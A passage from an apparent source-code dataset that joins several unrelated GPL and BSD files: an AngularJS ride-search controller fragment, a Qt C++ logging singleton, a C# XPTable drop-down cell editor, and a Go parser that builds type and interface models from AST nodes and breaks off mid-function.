if ($scope.params.From !== "" && $scope.params.From !== undefined && $scope.params.From !== "SCHOOL") {
$scope.isToSchool = true;
$scope.isFromSchool = false;
$scope.params.To = "SCHOOL";
} else if (($scope.params.From === "" || $scope.params.From === undefined) && $scope.params.To === "SCHOOL") {
$scope.isToSchool = false;
$scope.isFromSchool = false;
$scope.params.To = "";
}
});
$scope.search = function(from, to, date, time) {
var isDriver = $scope.isDriver;
crLoading.showWhile(crSchedule.Search(isDriver, from, to, new Date(
date.getFullYear(), date.getMonth(), date.getDate(),
time.getHours(), time.getMinutes(), time.getSeconds()))).then(function(data) {
if (isDriver) {
$scope.errors = {};
$state.go('chat', { "ChatID": data.ChatID });
} else {
$state.go('drivers', { 'SearchID': data.ID });
}
$scope.$apply();
}, function(error) {
$scope.errors = {};
$scope.errors[error] = true;
$scope.$apply();
});
};
});
| gpl-3.0 |
ffs2/ffs2play | singleton/clogger.cpp | 3459 | /****************************************************************************
**
** Copyright (C) 2017 FSFranceSimulateur team.
** Contact: https://github.com/ffs2/ffs2play
**
** FFS2Play is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation; either version 3 of the License, or
** (at your option) any later version.
**
** FFS2Play is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** The license is as published by the Free Software
** Foundation and appearing in the file LICENSE.GPL3
** included in the packaging of this software. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-3.0.html.
****************************************************************************/
#include "singleton/clogger.h"
#include "singleton/singleton.h"
namespace ffs2play
{
///
/// \brief CLogger::CLogger
/// \param parent
///
CLogger::CLogger(QObject* parent):
QObject(parent),
DebugLevel(m_DebugLevel)
{
qRegisterMetaType<CL_DEBUG_LEVEL>("CL_DEBUG_LEVEL");
m_settings.beginGroup("Log");
m_DebugLevel = (CL_DEBUG_LEVEL)m_settings.value("DebugLevel",LEVEL_NONE).toLongLong();
m_logToFile = m_settings.value("LogToFile",false).toBool();
m_filtreLog = m_settings.value("FiltreLog","*").toString();
m_settings.endGroup();
m_rx.setPatternSyntax(QRegExp::Wildcard);
updatePattern();
}
///
/// \brief CLogger::createInstance
/// \return
///
CLogger* CLogger::createInstance()
{
return new CLogger();
}
///
/// \brief CLogger::~CLogger
///
CLogger::~CLogger()
{
m_settings.beginGroup("Log");
m_settings.setValue("DebugLevel",m_DebugLevel);
m_settings.setValue("LogToFile",m_logToFile);
m_settings.endGroup();
}
///
/// \brief CLogger::instance
/// \return
///
CLogger* CLogger::instance()
{
return Singleton<CLogger>::instance(CLogger::createInstance);
}
///
/// \brief CLogger::setDebugLevel
/// \param pLevel
///
void CLogger::setDebugLevel(CL_DEBUG_LEVEL pLevel)
{
m_mutex.lock();
if (pLevel < LEVEL_NONE ) m_DebugLevel=LEVEL_NONE;
else if (pLevel > LEVEL_VERBOSE) m_DebugLevel=LEVEL_VERBOSE;
else m_DebugLevel = pLevel;
m_settings.beginGroup("Log");
m_settings.setValue("DebugLevel",QVariant(m_DebugLevel));
m_settings.endGroup();
m_mutex.unlock();
}
///
/// \brief CLogger::log
/// \param Texte
/// \param pColor
/// \param pLevel
///
void CLogger::log (const QString& Texte,QColor pColor, CL_DEBUG_LEVEL pLevel)
{
m_mutex.lock();
if ((m_rx.exactMatch(Texte)&&(pLevel <= m_DebugLevel))||(pLevel==LEVEL_NONE))
{
emit(fireLog(Texte,pColor,pLevel));
}
m_mutex.unlock();
}
void CLogger::updatePattern()
{
m_rx.setPattern(m_filtreLog);
}
void CLogger::setFilter(const QString& pFilter)
{
m_mutex.lock();
m_filtreLog=pFilter;
updatePattern();
m_settings.beginGroup("Log");
m_settings.setValue("FiltreLog",m_filtreLog);
m_settings.endGroup();
m_mutex.unlock();
}
QString CLogger::getFilter()
{
return m_filtreLog;
}
}
| gpl-3.0 |
nithinphilips/SMOz | src/SMOz.WinForms/3rdParty/XPTable/Editors/DropDownCellEditor.cs | 18352 | /*
* Copyright © 2005, Mathew Hall
* All rights reserved.
*
* DropDownCellEditor.ActivationListener, DropDownCellEditor.ShowDropDown() and
* DropDownCellEditor.HideDropDown() contains code based on Steve McMahon's
* PopupWindowHelper (see http://www.vbaccelerator.com/home/NET/Code/Controls/Popup_Windows/Popup_Windows/article.asp)
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
* OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
*/
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using XPTable.Events;
using XPTable.Models;
using XPTable.Renderers;
using XPTable.Win32;
namespace XPTable.Editors
{
/// <summary>
/// A base class for editing Cells that contain drop down buttons
/// </summary>
public abstract class DropDownCellEditor : CellEditor, IEditorUsesRendererButtons
{
#region Class Data
/// <summary>
/// The container that holds the Control displayed when editor is dropped down
/// </summary>
private DropDownContainer dropDownContainer;
/// <summary>
/// Specifies whether the DropDownContainer is currently displayed
/// </summary>
private bool droppedDown;
/// <summary>
/// Specifies the DropDown style
/// </summary>
private DropDownStyle dropDownStyle;
/// <summary>
/// The user defined width of the DropDownContainer
/// </summary>
private int dropDownWidth;
/// <summary>
/// Listener for WM_NCACTIVATE and WM_ACTIVATEAPP messages
/// </summary>
private ActivationListener activationListener;
/// <summary>
/// The Form that will own the DropDownContainer
/// </summary>
private Form parentForm;
/// <summary>
/// Specifies whether the mouse is currently over the
/// DropDownContainer
/// </summary>
private bool containsMouse;
#endregion
#region Constructor
/// <summary>
/// Initializes a new instance of the DropDownCellEditor class with default settings
/// </summary>
public DropDownCellEditor() : base()
{
TextBox textbox = new TextBox();
textbox.AutoSize = false;
textbox.BackColor = SystemColors.Window;
textbox.BorderStyle = BorderStyle.None;
textbox.MouseEnter += new EventHandler(textbox_MouseEnter);
this.Control = textbox;
this.dropDownContainer = new DropDownContainer(this);
this.droppedDown = false;
this.DropDownStyle = DropDownStyle.DropDownList;
this.dropDownWidth = -1;
this.parentForm = null;
this.activationListener = new ActivationListener(this);
this.containsMouse = false;
}
#endregion
#region Methods
/// <summary>
/// Prepares the CellEditor to edit the specified Cell
/// </summary>
/// <param name="cell">The Cell to be edited</param>
/// <param name="table">The Table that contains the Cell</param>
/// <param name="cellPos">A CellPos representing the position of the Cell</param>
/// <param name="cellRect">The Rectangle that represents the Cells location and size</param>
/// <param name="userSetEditorValues">Specifies whether the ICellEditors
/// starting value has already been set by the user</param>
/// <returns>true if the ICellEditor can continue editing the Cell, false otherwise</returns>
public override bool PrepareForEditing(Cell cell, Table table, CellPos cellPos, Rectangle cellRect, bool userSetEditorValues)
{
if (!(table.ColumnModel.Columns[cellPos.Column] is DropDownColumn))
{
throw new InvalidOperationException("Cannot edit Cell as DropDownCellEditor can only be used with a DropDownColumn");
}
return base.PrepareForEditing (cell, table, cellPos, cellRect, userSetEditorValues);
}
/// <summary>
/// Starts editing the Cell
/// </summary>
public override void StartEditing()
{
this.TextBox.KeyPress += new KeyPressEventHandler(OnKeyPress);
this.TextBox.LostFocus += new EventHandler(OnLostFocus);
base.StartEditing();
this.parentForm = this.EditingTable.FindForm();
if (this.DroppedDown)
{
this.ShowDropDown();
}
this.TextBox.Focus();
}
/// <summary>
/// Stops editing the Cell and commits any changes
/// </summary>
public override void StopEditing()
{
this.TextBox.KeyPress -= new KeyPressEventHandler(OnKeyPress);
this.TextBox.LostFocus -= new EventHandler(OnLostFocus);
base.StopEditing();
this.DroppedDown = false;
this.parentForm = null;
}
/// <summary>
/// Stops editing the Cell and ignores any changes
/// </summary>
public override void CancelEditing()
{
this.TextBox.KeyPress -= new KeyPressEventHandler(OnKeyPress);
this.TextBox.LostFocus -= new EventHandler(OnLostFocus);
base.CancelEditing();
this.DroppedDown = false;
this.parentForm = null;
}
/// <summary>
/// Displays the drop down portion to the user
/// </summary>
protected virtual void ShowDropDown()
{
Point p = this.EditingTable.PointToScreen(this.TextBox.Location);
p.Y += this.TextBox.Height + 1;
Rectangle screenBounds = Screen.GetBounds(p);
if (p.Y + this.dropDownContainer.Height > screenBounds.Bottom)
{
p.Y -= this.TextBox.Height + this.dropDownContainer.Height + 1;
}
if (p.X + this.dropDownContainer.Width > screenBounds.Right)
{
ICellRenderer renderer = this.EditingTable.ColumnModel.GetCellRenderer(this.EditingCellPos.Column);
int buttonWidth = ((DropDownCellRenderer) renderer).ButtonWidth;
p.X = p.X + this.TextBox.Width + buttonWidth - this.dropDownContainer.Width;
}
this.dropDownContainer.Location = p;
this.parentForm.AddOwnedForm(this.dropDownContainer);
this.activationListener.AssignHandle(this.parentForm.Handle);
this.dropDownContainer.ShowDropDown();
this.dropDownContainer.Activate();
// A little bit of fun. We've shown the popup,
// but because we've kept the main window's
// title bar in focus the tab sequence isn't quite
// right. This can be fixed by sending a tab,
// but that on its own would shift focus to the
// second control in the form. So send a tab,
// followed by a reverse-tab.
// Send a Tab command:
NativeMethods.keybd_event((byte) Keys.Tab, 0, 0, 0);
NativeMethods.keybd_event((byte) Keys.Tab, 0, KeyEventFFlags.KEYEVENTF_KEYUP, 0);
// Send a reverse Tab command:
NativeMethods.keybd_event((byte) Keys.ShiftKey, 0, 0, 0);
NativeMethods.keybd_event((byte) Keys.Tab, 0, 0, 0);
NativeMethods.keybd_event((byte) Keys.Tab, 0, KeyEventFFlags.KEYEVENTF_KEYUP, 0);
NativeMethods.keybd_event((byte) Keys.ShiftKey, 0, KeyEventFFlags.KEYEVENTF_KEYUP, 0);
}
/// <summary>
/// Conceals the drop down portion from the user
/// </summary>
protected virtual void HideDropDown()
{
this.dropDownContainer.HideDropDown();
this.parentForm.RemoveOwnedForm(this.dropDownContainer);
this.activationListener.ReleaseHandle();
this.parentForm.Activate();
}
/// <summary>
/// Gets whether the editor should stop editing if a mouse click occurs
/// outside of the DropDownContainer while it is dropped down
/// </summary>
/// <param name="target">The Control that will receive the message</param>
/// <param name="cursorPos">The current position of the mouse cursor</param>
/// <returns>true if the editor should stop editing, false otherwise</returns>
protected virtual bool ShouldStopEditing(Control target, Point cursorPos)
{
return true;
}
/// <summary>
/// Filters out a mouse message before it is dispatched
/// </summary>
/// <param name="target">The Control that will receive the message</param>
/// <param name="msg">A WindowMessage that represents the message to process</param>
/// <param name="wParam">Specifies the WParam field of the message</param>
/// <param name="lParam">Specifies the LParam field of the message</param>
/// <returns>true to filter the message and prevent it from being dispatched;
/// false to allow the message to continue to the next filter or control</returns>
public override bool ProcessMouseMessage(Control target, WindowMessage msg, int wParam, int lParam)
{
if (this.DroppedDown)
{
if (msg == WindowMessage.WM_LBUTTONDOWN || msg == WindowMessage.WM_RBUTTONDOWN ||
msg == WindowMessage.WM_MBUTTONDOWN || msg == WindowMessage.WM_XBUTTONDOWN ||
msg == WindowMessage.WM_NCLBUTTONDOWN || msg == WindowMessage.WM_NCRBUTTONDOWN ||
msg == WindowMessage.WM_NCMBUTTONDOWN || msg == WindowMessage.WM_NCXBUTTONDOWN)
{
Point cursorPos = Cursor.Position;
if (!this.DropDown.Bounds.Contains(cursorPos))
{
if (target != this.EditingTable && target != this.TextBox)
{
if (this.ShouldStopEditing(target, cursorPos))
{
this.EditingTable.StopEditing();
}
}
}
}
else if (msg == WindowMessage.WM_MOUSEMOVE)
{
Point cursorPos = Cursor.Position;
if (this.DropDown.Bounds.Contains(cursorPos))
{
if (!this.containsMouse)
{
this.containsMouse = true;
this.EditingTable.RaiseCellMouseLeave(this.EditingCellPos);
}
}
else
{
this.containsMouse = true;
}
}
}
return false;
}
/// <summary>
/// Filters out a key message before it is dispatched
/// </summary>
/// <param name="target">The Control that will receive the message</param>
/// <param name="msg">A WindowMessage that represents the message to process</param>
/// <param name="wParam">Specifies the WParam field of the message</param>
/// <param name="lParam">Specifies the LParam field of the message</param>
/// <returns>true to filter the message and prevent it from being dispatched;
/// false to allow the message to continue to the next filter or control</returns>
public override bool ProcessKeyMessage(Control target, WindowMessage msg, int wParam, int lParam)
{
if (msg == WindowMessage.WM_KEYDOWN)
{
if (((Keys) wParam) == Keys.F4)
{
if (this.TextBox.Focused || this.DropDown.ContainsFocus)
{
this.DroppedDown = !this.DroppedDown;
return true;
}
}
}
return false;
}
#endregion
#region Properties
/// <summary>
/// Gets the TextBox used to edit the Cells contents
/// </summary>
protected TextBox TextBox
{
get
{
return this.Control as TextBox;
}
}
/// <summary>
/// Gets the container that holds the Control displayed when editor is dropped down
/// </summary>
protected DropDownContainer DropDown
{
get
{
return this.dropDownContainer;
}
}
/// <summary>
/// Gets or sets whether the editor is displaying its drop-down portion
/// </summary>
public bool DroppedDown
{
get
{
return this.droppedDown;
}
set
{
if (this.droppedDown != value)
{
this.droppedDown = value;
if (value)
{
this.ShowDropDown();
}
else
{
this.HideDropDown();
}
}
}
}
/// <summary>
/// Gets or sets the width of the of the drop-down portion of the editor
/// </summary>
public int DropDownWidth
{
get
{
if (this.dropDownWidth != -1)
{
return this.dropDownWidth;
}
return this.dropDownContainer.Width;
}
set
{
this.dropDownWidth = value;
this.dropDownContainer.Width = value;
}
}
/// <summary>
/// Gets the user defined width of the of the drop-down portion of the editor
/// </summary>
internal int InternalDropDownWidth
{
get
{
return this.dropDownWidth;
}
}
/// <summary>
/// Gets or sets a value specifying the style of the drop down editor
/// </summary>
public DropDownStyle DropDownStyle
{
get
{
return this.dropDownStyle;
}
set
{
if (!Enum.IsDefined(typeof(DropDownStyle), value))
{
throw new InvalidEnumArgumentException("value", (int) value, typeof(DropDownStyle));
}
if (this.dropDownStyle != value)
{
this.dropDownStyle = value;
this.TextBox.ReadOnly = (value == DropDownStyle.DropDownList);
}
}
}
/// <summary>
/// Gets or sets the text that is selected in the editable portion of the editor
/// </summary>
public string SelectedText
{
get
{
if (this.DropDownStyle == DropDownStyle.DropDownList)
{
return "";
}
return this.TextBox.SelectedText;
}
set
{
if (this.DropDownStyle != DropDownStyle.DropDownList && value != null)
{
this.TextBox.SelectedText = value;
}
}
}
/// <summary>
/// Gets or sets the number of characters selected in the editable portion
/// of the editor
/// </summary>
public int SelectionLength
{
get
{
return this.TextBox.SelectionLength;
}
set
{
this.TextBox.SelectionLength = value;
}
}
/// <summary>
/// Gets or sets the starting index of text selected in the editor
/// </summary>
public int SelectionStart
{
get
{
return this.TextBox.SelectionStart;
}
set
{
this.TextBox.SelectionStart = value;
}
}
/// <summary>
/// Gets or sets the text associated with the editor
/// </summary>
public string Text
{
get
{
return this.TextBox.Text;
}
set
{
this.TextBox.Text = value;
}
}
#endregion
#region Events
/// <summary>
/// Handler for the editors TextBox.KeyPress event
/// </summary>
/// <param name="sender">The object that raised the event</param>
/// <param name="e">A KeyPressEventArgs that contains the event data</param>
protected virtual void OnKeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == AsciiChars.CarriageReturn /*Enter*/)
{
if (this.EditingTable != null)
{
this.EditingTable.StopEditing();
}
}
else if (e.KeyChar == AsciiChars.Escape)
{
if (this.EditingTable != null)
{
this.EditingTable.CancelEditing();
}
}
}
/// <summary>
/// Handler for the editors TextBox.LostFocus event
/// </summary>
/// <param name="sender">The object that raised the event</param>
/// <param name="e">An EventArgs that contains the event data</param>
protected virtual void OnLostFocus(object sender, EventArgs e)
{
if (this.TextBox.Focused || this.DropDown.ContainsFocus)
{
return;
}
if (this.EditingTable != null)
{
this.EditingTable.StopEditing();
}
}
/// <summary>
/// Handler for the editors drop down button MouseDown event
/// </summary>
/// <param name="sender">The object that raised the event</param>
/// <param name="e">A CellMouseEventArgs that contains the event data</param>
public virtual void OnEditorButtonMouseDown(object sender, CellMouseEventArgs e)
{
this.DroppedDown = !this.DroppedDown;
}
/// <summary>
/// Handler for the editors drop down button MouseUp event
/// </summary>
/// <param name="sender">The object that raised the event</param>
/// <param name="e">A CellMouseEventArgs that contains the event data</param>
public virtual void OnEditorButtonMouseUp(object sender, CellMouseEventArgs e)
{
}
/// <summary>
/// Handler for the editors textbox MouseEnter event
/// </summary>
/// <param name="sender">The object that raised the event</param>
/// <param name="e">An EventArgs that contains the event data</param>
private void textbox_MouseEnter(object sender, EventArgs e)
{
this.EditingTable.RaiseCellMouseLeave(this.EditingCellPos);
}
#endregion
#region ActivationListener
/// <summary>
/// Listener for WM_NCACTIVATE and WM_ACTIVATEAPP messages
/// </summary>
internal class ActivationListener : XPTable.Win32.NativeWindow
{
/// <summary>
/// The DropDownCellEditor that owns the listener
/// </summary>
private DropDownCellEditor owner;
/// <summary>
/// Initializes a new instance of the DropDownCellEditor class with the
/// specified DropDownCellEditor owner
/// </summary>
/// <param name="owner">The DropDownCellEditor that owns the listener</param>
public ActivationListener(DropDownCellEditor owner) : base()
{
this.owner = owner;
}
/// <summary>
/// Gets or sets the DropDownCellEditor that owns the listener
/// </summary>
public DropDownCellEditor Editor
{
get
{
return this.owner;
}
set
{
this.owner = value;
}
}
/// <summary>
/// Processes Windows messages
/// </summary>
/// <param name="m">The Windows Message to process</param>
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (this.owner != null && this.owner.DroppedDown)
{
if (m.Msg == (int) WindowMessage.WM_NCACTIVATE)
{
if (((int) m.WParam) == 0)
{
NativeMethods.SendMessage(this.Handle, (int) WindowMessage.WM_NCACTIVATE, 1, 0);
}
}
else if (m.Msg == (int) WindowMessage.WM_ACTIVATEAPP)
{
if ((int)m.WParam == 0)
{
this.owner.DroppedDown = false;
NativeMethods.PostMessage(this.Handle, (int) WindowMessage.WM_NCACTIVATE, 0, 0);
}
}
}
}
}
#endregion
}
}
| gpl-3.0 |
ArkBriar/goq | querygo/golang/golang.go | 17268 | // Copyright 2016 ArkBriar. All rights reserved.
package golang
import (
"go/ast"
"go/parser"
"go/token"
"querygo/debug"
"fmt"
"os"
"path"
"path/filepath"
)
var dbg debug.DebugLog
func SetDebug(D debug.DebugLog) {
dbg = D
}
func __assert(condition bool) {
if !condition {
panic("Assertion failed!")
}
}
type GoProject struct {
Name string
Packages map[string]*GoPackage
SubPros map[string]*GoProject
Upper *GoProject
}
func CreateGoProject(name string) *GoProject {
return &GoProject{
Name: name,
Packages: make(map[string]*GoPackage),
SubPros: make(map[string]*GoProject),
Upper: nil,
}
}
func __RemoveFirstStar(x string) string {
if x[0] == '*' {
return x[1:]
}
return x
}
func __GetFieldTypeName(x ast.Expr) string {
var ret string
switch x.(type) {
case *ast.StarExpr:
ret = "*" + __GetFieldTypeName(x.(*ast.StarExpr).X)
case *ast.Ident:
ret = x.(*ast.Ident).Name
case *ast.SelectorExpr:
s := x.(*ast.SelectorExpr)
ret = __GetFieldTypeName(s.X) + "." + s.Sel.Name
case *ast.ArrayType:
ret = "[]" + __GetFieldTypeName(x.(*ast.ArrayType).Elt)
case *ast.ChanType:
ret = "chan " + __GetFieldTypeName(x.(*ast.ChanType).Value)
case *ast.MapType:
m := x.(*ast.MapType)
ret = "map[" + __GetFieldTypeName(m.Key) + "]" + __GetFieldTypeName(m.Value)
case *ast.ParenExpr:
ret = __GetFieldTypeName(x.(*ast.ParenExpr).X)
case *ast.InterfaceType:
// special case, the empty interface `interface{}`
__assert(x.(*ast.InterfaceType).Methods.NumFields() == 0)
ret = "interface{}"
case *ast.FuncType:
f := x.(*ast.FuncType)
ret += "func("
// vars
var paramLen, retLen int = 0, 0
if f.Params != nil && f.Params.List != nil {
paramLen = len(f.Params.List)
}
if f.Results != nil && f.Results.List != nil {
retLen = len(f.Results.List)
}
for i := 0; i < paramLen; i++ {
ret += __GetFieldTypeName(f.Params.List[i].Type)
if i != paramLen-1 {
ret += ", "
}
}
ret += ")"
if retLen == 1 {
ret += " " + __GetFieldTypeName(f.Results.List[0].Type)
} else if retLen > 1 {
ret += "("
for i := 0; i < retLen; i++ {
ret += __GetFieldTypeName(f.Results.List[i].Type)
if i != retLen-1 {
ret += ", "
}
}
ret += ")"
}
case *ast.Ellipsis:
e := x.(*ast.Ellipsis)
ret += "[]" + __GetFieldTypeName(e.Elt)
case *ast.StructType:
s := x.(*ast.StructType)
ret += "struct {\n"
if s.Fields != nil {
for _, field := range s.Fields.List {
if field.Names != nil {
ret += field.Names[0].Name + " "
}
ret += __GetFieldTypeName(field.Type) + "\n"
}
}
ret += "}"
default:
panic("golang/golang.go ## __GetFieldTypeName: should not reach here")
}
return ret
}
func __ResolveStructType(structType *ast.StructType, __struct *GoStruct) {
for _, field := range structType.Fields.List {
typeName := __GetFieldTypeName(field.Type)
if field.Names == nil {
// anonymous
__struct.__Anonymous = append(__struct.__Anonymous, typeName)
} else {
for _, _var := range field.Names {
varName := _var.Name
__struct.Vars[varName] = &GoVar{Name: varName, Type: typeName}
}
}
}
}
func __ResolveInterfaceType(interfaceType *ast.InterfaceType, __interface *GoInterface) {
for _, field := range interfaceType.Methods.List {
if field.Names == nil { // anonymous field
__interface.__Anonymous = append(__interface.__Anonymous, __GetFieldTypeName(field.Type))
continue
}
funcName := field.Names[0].Name
var funcType *ast.FuncType = nil
var ok bool
if funcType, ok = field.Type.(*ast.FuncType); !ok {
panic("golang/golang.go ## __ResolveInterfaceType: should not reach here")
}
__function := CreateGoFunc(funcName)
__ResolveFuncType(funcType, __function)
// add this method
__interface.AddMethod(&GoMethod{GoFunc: *__function})
}
}
func __ResolveFuncType(funcType *ast.FuncType, __function *GoFunc) {
for _, paramField := range funcType.Params.List {
// could be nil, like `func(string)bool`
var arg *GoVar = nil
if paramField.Names != nil {
arg = &GoVar{Name: paramField.Names[0].Name, Type: __GetFieldTypeName(paramField.Type)}
} else {
arg = &GoVar{Name: "", Type: __GetFieldTypeName(paramField.Type)}
}
__function.Args = append(__function.Args, arg)
}
if funcType.Results != nil {
for _, resultField := range funcType.Results.List {
var ret *GoVar
if resultField.Names != nil {
ret = &GoVar{Name: resultField.Names[0].Name, Type: __GetFieldTypeName(resultField.Type)}
} else {
ret = &GoVar{Type: __GetFieldTypeName(resultField.Type)}
}
__function.Rets = append(__function.Rets, ret)
}
}
}
func __ResolveType(typeSpec *ast.TypeSpec, gfile *GoFile) {
Name := typeSpec.Name.Name
switch typeSpec.Type.(type) {
/*
*case *ast.Ident:
*case *ast.ParenExpr:
*case *ast.SelectorExpr:
*case *ast.StarExpr:
*case *ast.ArrayType:
*case *ast.ChanType:
*case *ast.MapType:
*/
case *ast.StructType:
__struct := CreateGoStruct(Name)
__ResolveStructType(typeSpec.Type.(*ast.StructType), __struct)
_ = gfile.Ns.AddType(CreateGoTypeOfStruct(__struct))
case *ast.InterfaceType:
__interface := CreateGoInterface(Name)
__ResolveInterfaceType(typeSpec.Type.(*ast.InterfaceType), __interface)
_ = gfile.Ns.AddType(CreateGoTypeOfInterface(__interface))
case *ast.FuncType:
// if type == *ast.FuncType, then it must be something like `type A func(x int) bool`
__alias := CreateGoAlias(Name, __GetFieldTypeName(typeSpec.Type))
_ = gfile.Ns.AddType(CreateGoTypeOfAlias(__alias))
default:
__alias := CreateGoAlias(Name, __GetFieldTypeName(typeSpec.Type))
_ = gfile.Ns.AddType(CreateGoTypeOfAlias(__alias))
}
}
func __ResolveAllMethods(astFile *ast.File, gfile *GoFile) {
/*
Decls:
BadDecl,
FuncDecl,
GenDecl ( represents an import, constant, type or variable declaration )
*/
for _, decl := range astFile.Decls {
var funcDecl *ast.FuncDecl = nil
switch decl.(type) {
case *ast.FuncDecl:
funcDecl = decl.(*ast.FuncDecl)
case *ast.GenDecl:
continue
case *ast.BadDecl:
continue
}
__assert(funcDecl != nil)
// functions filter
if funcDecl.Recv == nil {
continue
}
if funcDecl.Recv.NumFields() == 1 {
field := funcDecl.Recv.List[0]
recvTypeName := __GetFieldTypeName(field.Type)
methodName := funcDecl.Name.Name
funcType := funcDecl.Type
thisMethod := CreateGoMethod(methodName)
// add functions' returns & params
__ResolveFuncType(funcType, &thisMethod.GoFunc)
__type := gfile.Ns.GetType(recvTypeName)
__assert(__type.Kind == Stt || __type.Kind == Als)
if __type.Kind == Stt { // struct
__StructType := __type.Type.(*GoStruct)
__StructType.AddMethod(thisMethod)
} else { // alias
__AliasType := __type.Type.(*GoAlias)
__AliasType.AddMethod(thisMethod)
}
}
}
}
func __IsInterfaceImplemented(methods map[string]*GoMethod, __interface *GoInterface) bool {
for name, imethod := range __interface.Methods {
if method, ok := methods[name]; !ok { // not found
return false
} else {
if !method.Equal(imethod) {
return false
}
}
}
return true
}
func __ResolveAllRelations(gfile *GoFile) {
// for interface anonymous
for _, __interface := range gfile.Ns.GetInterfaces() {
for _, anonymous := range __interface.__Anonymous {
__a_type := gfile.Ns.GetType(anonymous)
// must be interface in interface, otherwise the compiler will give an error
__assert(__a_type.Kind == Itf)
__a_itf := __a_type.Type.(*GoInterface)
__interface.Extends[anonymous] = __a_itf
}
}
// pick out the structs & interfaces from anonymous that this file knowns
for _, __struct := range gfile.Ns.GetStructs() {
for _, anonymous := range __struct.__Anonymous {
__a_type := gfile.Ns.GetType(anonymous)
switch __a_type.Kind {
case Stt:
__struct.Extends[anonymous] = __a_type.Type.(*GoStruct)
case Itf:
__struct.Interfaces[anonymous] = __a_type.Type.(*GoInterface)
// delete these functions (existance ensured by compiler)
for methodName, _ := range __a_type.Type.(*GoInterface).Methods {
delete(__struct.Methods, methodName)
}
case Als:
case Bti:
default:
panic("golang/golang.go ## __ResolveAllRelations: should not reach here")
}
}
}
// find out interfaces implemented by type
for _, __type := range gfile.Ns.GetTypes() {
if __type.Kind != Stt && __type.Kind != Als {
continue
}
var Methods map[string]*GoMethod = nil
var Interfaces map[string]*GoInterface = nil
if __type.Kind == Stt {
Methods = __type.Type.(*GoStruct).Methods
Interfaces = __type.Type.(*GoStruct).Interfaces
} else {
Methods = __type.Type.(*GoAlias).Methods
Interfaces = __type.Type.(*GoAlias).Interfaces
}
__assert(Methods != nil && Interfaces != nil)
for _, __interface := range gfile.Ns.GetInterfaces() {
if _, ok := Interfaces[__interface.Name]; ok {
// skip
continue
}
if __IsInterfaceImplemented(Methods, __interface) {
Interfaces[__interface.Name] = __interface
// delete these functions (existance ensured by compiler)
for methodName, _ := range __interface.Methods {
delete(Methods, methodName)
}
}
}
}
/*
* Type's Methods += Type's Extends' Methods + Types's Interfaces' Methods
* Type's Interfaces += Type's Extends's Interfaces
*/
}
func __GenerateGoFileFromAstFile(astFile *ast.File, name string) *GoFile {
var gfile *GoFile = CreateGoFile(name)
// package name
gfile.Package = astFile.Name.Name
// imports
for _, __import := range astFile.Imports {
if __import.Name != nil { // local package name, include '.'
gfile.Imports = append(gfile.Imports, __import.Name.Name)
} else {
gfile.Imports = append(gfile.Imports, __import.Path.Value)
}
}
// language entities: package, constant, type, variable, function(model), label
// in ast.File.Scope.Objects, but there are no models
for _, obj := range astFile.Scope.Objects {
if obj.Kind == ast.Typ {
if typeSpec, ok := obj.Decl.(*ast.TypeSpec); ok {
__ResolveType(typeSpec, gfile)
if (obj.Data != nil) {
fmt.Println("data isn't nil, the type is " + obj.Name)
}
} else {
panic("golang/golang.go ## __GenerateGoFileFromAstFile: should not reach here")
}
} else if obj.Kind == ast.Fun {
if funcDecl, ok := obj.Decl.(*ast.FuncDecl); ok {
funcType := funcDecl.Type
__function := CreateGoFunc(funcDecl.Name.Name)
__ResolveFuncType(funcType, __function)
gfile.Ns.AddFunc(__function)
}
}
}
return gfile
}
func ParseFile(file *os.File) (*GoFile, error) {
// the file set will record the postion information of file
fset := token.NewFileSet()
// parse the file
var err error
var astFile *ast.File
if astFile, err = parser.ParseFile(fset, file.Name(), file, 0); err != nil {
return nil, err
}
gfile := __GenerateGoFileFromAstFile(astFile, file.Name())
// methods of struct and alias
__ResolveAllMethods(astFile, gfile)
__ResolveAllRelations(gfile)
return gfile, nil
}
func (this *GoPackage) GetType(name string) *GoType {
for _, file := range this.Files {
if __type := file.Ns.GetType(name); __type != nil {
return __type
}
}
return nil
}
// gfile must be one file in gpkg
func __ResolveAllMethodsInPackage(astFile *ast.File, gpkg *GoPackage) {
/*
Decls:
BadDecl,
FuncDecl,
GenDecl ( represents an import, constant, type or variable declaration )
*/
for _, decl := range astFile.Decls {
var funcDecl *ast.FuncDecl = nil
switch decl.(type) {
case *ast.FuncDecl:
funcDecl = decl.(*ast.FuncDecl)
case *ast.GenDecl:
continue
case *ast.BadDecl:
continue
}
__assert(funcDecl != nil)
// functions filter
if funcDecl.Recv == nil {
continue
}
if funcDecl.Recv.NumFields() == 1 {
field := funcDecl.Recv.List[0]
recvTypeName := __GetFieldTypeName(field.Type)
methodName := funcDecl.Name.Name
funcType := funcDecl.Type
